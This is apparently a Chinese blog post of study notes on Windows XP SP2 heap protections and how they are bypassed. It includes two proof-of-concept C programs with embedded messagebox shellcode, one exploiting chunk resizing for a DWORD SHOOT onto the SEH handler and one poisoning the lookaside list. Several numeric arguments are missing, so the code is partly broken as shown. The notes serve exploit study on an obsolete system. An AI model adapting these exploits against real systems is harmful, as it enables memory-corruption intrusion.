微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重:

* PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。

* Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT:

 int safe_remove(ListNode * node)
{
if( (node->blink->flink==node)&&(node->flink->blink==node) )
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return ;
} else {
// raise exception
return ;
}
}

* Heap Cookie:与栈中类似,堆中也引入了 cookie,用于检测堆溢出的发生。cookie 布置在堆首中原堆块的 segment table 的位置,占 1 字节:

* 元数据加密:Windows Vista 及后续版本的系统中开始使用这项措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或加密,使用时再异或解密。这样就不能直接破坏这些数据了。

堆的研究者之一 Matt Conover 在 CanSecWest 04 的演讲议题 Windows Heap Exploitation (Win2K SP0 through WinXP SP2) 中,针对 PEB random 机制,指出变动只是在 0x7FFDF000 ~ 0x7FFD4000 之间,随机区间不大,在多线程状态下容易被预测出来。

而 Heap Cookie 只占 1 字节,在研究其生成随机的算法之后仍存在破解可能。

对于 Safe Unlink 也有人找到了一些破解思路。

但这些突破的思路要在 XP SP2 之后成功实施并利用,需要十分苛刻的条件,堆溢出变得难如登天。

溢出堆中的数据

但堆保护措施是对堆的各个关键数据结构进行保护,对堆中的数据不提供保护,所以攻击的第一个思路,是溢出堆中存放的关键数据结构:重要变量、数据、函数指针…

利用 chunk 重设大小攻击堆

Safe Unlink 是从 FreeList[n] 上拆卸 chunk 时对双向链表进行验证,但是,将一个 chunk 插入到 FreeList[n] 时没有进行校验!如果能伪造一个 chunk 并将其插入到 FreeList[n] 上就可以造成某种攻击。如下两种情况会发生插入操作:

  内存释放后 chunk 不再被使用时。
当 chunk 的内存空间大于申请的大小,剩余的空间会被建成一个新的 chunk 链入链表中。

上述第二种情况提供了可以利用的机会。先考虑申请 chunk 的过程,从 FreeList[] 上申请空间的过程如下:

  将 FreeList[] 上最后一个 chunk 与申请的大小进行比较,如果 chunk 的大小 ≥ 申请的大小,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)
从 FreeList[] 的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后卸载
分配好空间后,如果 chunk 有剩余空间,剩余空间会建成新的 chunk 并插入到链表中

这个过程中,第一种情况没有机会,第二种情况有 Safe Unlink 进行保护。但申请空间之后拆卸 chunk 时 Safe Unlink 存在一个问题:即使 Safe Unlink 检测到 chunk 结构被破坏,还是会允许一些后续的操作,包括重设 chunk 大小的操作。

首先用一段程序来观察将剩余空间的 chunk 插入到 FreeList[] 中的过程:

 // OS : XP SP2
// Compiler: Visual C++ 6.0 (build release)
#include <stdio.h>
#include <windows.h> void main()
{
HLOCAL h1;
HANDLE hp = HeapCreate(,0x1000,0x10000);
_asm int
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);
}

HeapCreate() 后,堆区初始化完成,此时只有一个 chunk 位于 FreeList[0],HeapAlloc() 申请小规模的空间后,会产生新的 chunk 并被插入到 FreeList[] 中。

int 3 之后启动 OllyDbg 观察 eax 中的返回值,指向 heap=0x00390000,FreeList[] @ 0x00390178(堆首信息参见 winheap.h)。

FreeList[0] = 0x00390178 = &(Flink=0x00390688=Blink),此时唯一的 chunk 如下(d [eax+178]-8):

                  0x130       0x08   0x0 0x10 0x0 0x0
flink=0x00390178 blink=0x00390178
data ..............................

关键的地方在 ntdll.dll 基址偏移 0x11513 处,是修改新的 chunk 和上一个 chunk 指针的开始,反汇编代码如下:

 7C931513  8D47         LEA EAX,DWORD PTR DS:[EDI+]   ; 获取 new_chunk 的 Flink 的位置
7C931516 10FFFFFF MOV DWORD PTR SS:[EBP-F0],EAX
7C93151C 8B51 MOV EDX,DWORD PTR DS:[ECX+] ; 获取 next_chunk 的 Blink 的位置;ECX==old_chunk->Flink==next_chunk
7C93151F 08FFFFFF MOV DWORD PTR SS:[EBP-F8],EDX
7C931525 MOV DWORD PTR DS:[EAX],ECX ; 保存 new_chunk 的 Flink
7C931527 MOV DWORD PTR DS:[EAX+],EDX ; 保存 new_chunk 的 Blink
7C93152A MOV DWORD PTR DS:[EDX],EAX ; 更新 next_chunk 的 Blink->Flink 的 Flink
7C93152C MOV DWORD PTR DS:[ECX+],EAX ; 更新 next_chunk 的 Blink

算法伪代码如下:

 // 设置 new_chunk
new_chunk->Flink = old_chunk->Flink
new_chunk->Blink = old_chunk->Flink->Blink // 算法开始时 ECX 已保存 old_chunk->Flink==next_chunk,各步计算以 ECX 为线索
// 将 new_chunk 插入到 FreeList[]
old_chunk->Flink->Blink->Flink = new_chunk
old_chunk->Flink->Blink = new_chunk

如果事先将 old_chunk->Flink 覆盖为 0xAAAAAAAA,就会执行:

 [new_chunk->Flink] = 0xAAAAAAAA
[new_chunk->Blink] = [0xAAAAAAAA+] // read *(0xAAAAAAAA+4)
[[0xAAAAAAAA+4]] = new_chunk // DWORD SHOOT // write &(*(0xAAAAAAAA+4))
[0xAAAAAAAA+] = new_chunk // write &(0xAAAAAAAA+4))

以上算法中,第 3 行为典型的 DWORD SHOOT 攻击!如果事先将 shellcode 布置到 new_chunk,就可以利用 DWORD SHOOT 执行 shellcode!PoC 如下:

 #include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite h1
"\x10\x01\x10\x00\x99\x99\x99\x99" // overwrite header of chunk_after_h1
"\xEB\x06\x39\x00\xEB\x06\x39\x00" // overwrite Flink & Blink of chunk_after_h1 (EB06: jmp 06)
"\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite data of chunk_after_h1
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90" // jmp
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x8C"
"\x06\x39\x00\xE4\xFF\x12\x00\x00" // fake Flink & Blink (0x0012FFE4=SE Handler)
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7
;
HLOCAL h1,h2;
HANDLE hp = HeapCreate(,0x1000,0x10000);
//_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); printf("press any key to continue...");
getchar(); int zero=;
printf("divide operationg executing...\n");
zero=/zero;
printf("%d\n",zero);
}

当第 33 行申请 h2 的空间时,将会执行如下过程:

 // h2 @ 0x003906B8
[0x003906B8] = 0x003906EB
[0x003906B8+] = 0x0012FFE4
[0x0012FFE4] = 0x003906B8 // DWORD SHOOT : overwrite se handler
[0x003906EB+]=0x003906B8

实验过程中发现代码中第 7 行的 shellcode 有具体要求,如果填写不当会导致异常。堆这部分内容需要再花时间学习!

利用 Lookaside 表进行攻击

Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表没有进行验证。从快表中正常拆卸一个节点(chunk)的过程为:

pre_chunk->next = chunk->next  // pre_chunk : previous_chunk; chunk : the chunk to remove

思路:如果控制 chunk->next,就控制了 pre_chunk->next,进而当用户再次申请空间时系统就会将这个伪造的地址作为申请得到的空间的起始地址返回给用户。用户一旦向这个再次申请来的空间写入数据就会留下溢出的隐患。

 // os : win xp sp2
// compiler : visual c++ 6.0
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // EB40 : jmp 0x40
"\x03\x00\x03\x00\x5C\x01\x08\x99" // header of next_chunk
"\xE4\xFF\x12\x00" // next_chunk->next (0x0012FFE4=default se)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(,,); // enable lookaside table
//_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
HeapFree(hp,,h3); // free to lookaside table
HeapFree(hp,,h2); // free to lookaside table
memcpy(h1,shellcode,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); // alloc from lookaside
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); // alloc from lookaside
memcpy(h3,"\x90\x1E\x39\x00",); // h3=0x0012FFE4=se, 0x00391E90 = h1 = shellcode[]
int zero=;
zero=/zero; // raise exception, call se handler
printf("zero = %d\n",zero);
}

看到 tombkeeper 用 WinDbg 中的命令行,才发现 OllyDbg 有 CommandLine 插件,很好用!几乎能只用键盘来操作了,当 eax 指向 heap 时,能直接 d [eax+178]-8 省了不少麻烦 ~_*

OD: Heap Overflow (XP SP2 - 2003) & DWORD SHOOT via Chunk Resize的更多相关文章

  1. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  2. OD: Heap in Windows 2K & XP SP1

    Windows 堆溢出 MS 没有完全公开 Windows 的堆管理细节,目前对 Windows 堆的了解主要基于技术狂热者.黑客.安全专家.逆向工程师等的个人研究成果. 目前 Windows NT4 ...

  3. 利用DWORD SHOOT实现堆溢出的利用(先知收录)

    原文链接:https://xz.aliyun.com/t/4009 1.0 DWORD SHOOT是什么捏? DWORD SHOOT指能够向内存任意位置写入任意数据,1个WORD=4个bytes,即可 ...

  4. 用VC2010以上版本编译可以在低版本XP和2003的运行程序的方法

    2013-09-17   作者:佚名   来源:本站整理   浏览:2001   评论:1   一直以来倍受此事困拢,vc2010以上版本编译出的exe或dll总是会引用kernel32.dll的En ...

  5. wvblk 把 xp、2003、win7(32位) 装入 VHD

    关键1:是[预安装]阶段F6加载wvblk驱动: or 在还原ghost镜像后,导入wvblk驱动. 关键1.5:对于 win7(32位)来说,还可以在设备管理器内,通过添加“过时”硬件的方式导入wv ...

  6. Kernel pwn 基础教程之 Heap Overflow

    一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...

  7. vs2012编译的程序不能在XP和2003下执行问题的解决方法

    问题如题,通过无数次百度和谷歌后,发现,微软已经确认这是一个缺陷,安装Vs2012的update 3的升级包就可以解决问题.同时,在分发包的地方,vcredist_x86.exe 随程序分发一份就可以 ...

  8. PDF在xp或2003下正常在win7下乱码的问题

    1.先确定当前PDF文件需要字体(在PDF工具打开找到Font字体可以查看具体需要哪些字体). 2.网上下载或者在生成PDF的电脑上把老版本字体拷贝出来然后在win7下安装,当提示已经存在该字体时,直 ...

  9. WIN XP SP2系统经常性死机问题解决历程

    如题: 1.初始时,XP还能进入系统,等系统3分钟左右,鼠标熄灭,键盘无反应,查看资源管理器CPU 100%,内存占用不高. 2.现象初步分析: a.怀疑是病毒占用CPU 100%,于是下载360安全 ...

随机推荐

  1. Mybatis3.0防止SQL注入

    一.什么是SQL注入 引用搜狗百科: SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大 ...

  2. JS笔记2 --定义对象

    16.javascript中定义对象的几种方式(javascript中没有类的概念,只有对象): 1)基于已有对象扩充其属性和方法: var object = new Object(); object ...

  3. Spring Cp30配置

    1.配置db.properties <bean id= "propertyConfigurer" class="org.springframework.beans. ...

  4. java常用用代码

    /** *Java获取IP代码 */ import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.ev ...

  5. 老oj3999孤独一生

    孤独一生 Time Limit:10000MS  Memory Limit:165536KTotal Submit:23 Accepted:11 Case Time Limit:1000MS Desc ...

  6. SpringMVC入门2-注解开发

    Spring MVC 注解开发 <context:component-scan base-package="com.controls" /> Springmvc的扫描器 ...

  7. [转载] $\mathrm{Jordan}$标准型的介绍

    本文转载自陈洪葛的博客$,$ 而实际上来自xida博客朝花夕拾$,$ 可惜该博客已经失效 $\mathrm{Jordan}$ 标准形定理是线性代数中的基本定理$,$ 专门为它写一篇长文好像有点多余$: ...

  8. cf D. Vessels

    http://codeforces.com/contest/371/problem/D 第一遍写的超时了,然后看了别人的代码,思路都是找一个点的根,在往里面加水的时候碗中的水满的时候建立联系.查询的时 ...

  9. 研究了下apache的漏洞CVE-2012-0053

    发一个大cookie过去,最新版本的,竟然显示了个\n 嘛意思 干嘛不直接删掉 Your browser sent a request that this server could not under ...

  10. -_-#【Angular】定义服务

    AngularJS学习笔记 <!DOCTYPE html> <html ng-app="Demo"> <head> <meta chars ...